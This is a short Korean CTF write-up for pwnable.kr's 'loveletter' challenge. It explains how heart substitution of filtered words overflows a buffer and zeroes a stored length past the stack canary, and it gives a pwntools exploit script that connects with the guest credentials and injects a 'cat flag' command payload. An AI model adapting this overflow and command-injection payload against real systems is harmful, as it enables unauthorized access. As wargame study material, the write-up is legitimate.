filtering되는 단어를 쓰면 하트로 바꾸면서 버퍼가 밀린다. 따라서 bof가 가능하다. 근데 canary가 있다.
처음에 epilog, prolog의 length를 스택에 저장하고 나중에 그만큼 memcpy를 하는데 bof를 이용하여 이 length를 0으로 바꿔버리자.
그리고 cat은 띄어쓰기대로 다른 파일로 인식하여 출력해주므로 flag를 출력할 수 있을 거 같다.
Exploit Code
from pwn import *
#p=process('./loveletter')
s=ssh('loveletter', 'pwnable.kr', password="guest", port=2222)
p=s.remote('localhost', 9034)
payload = 'cat flag A'+';'*82
payload += '\x00'*(256-len(payload))
p.sendline(payload)
p.interactive()
Capture the Flag
'Writeup [pwn] > pwnable.kr' 카테고리의 다른 글
note (0) | 2020.03.08 |
---|---|
simple login (0) | 2020.03.07 |
rsa calculator (0) | 2020.03.07 |
md5 calculator (0) | 2020.03.07 |
fsb (0) | 2020.03.07 |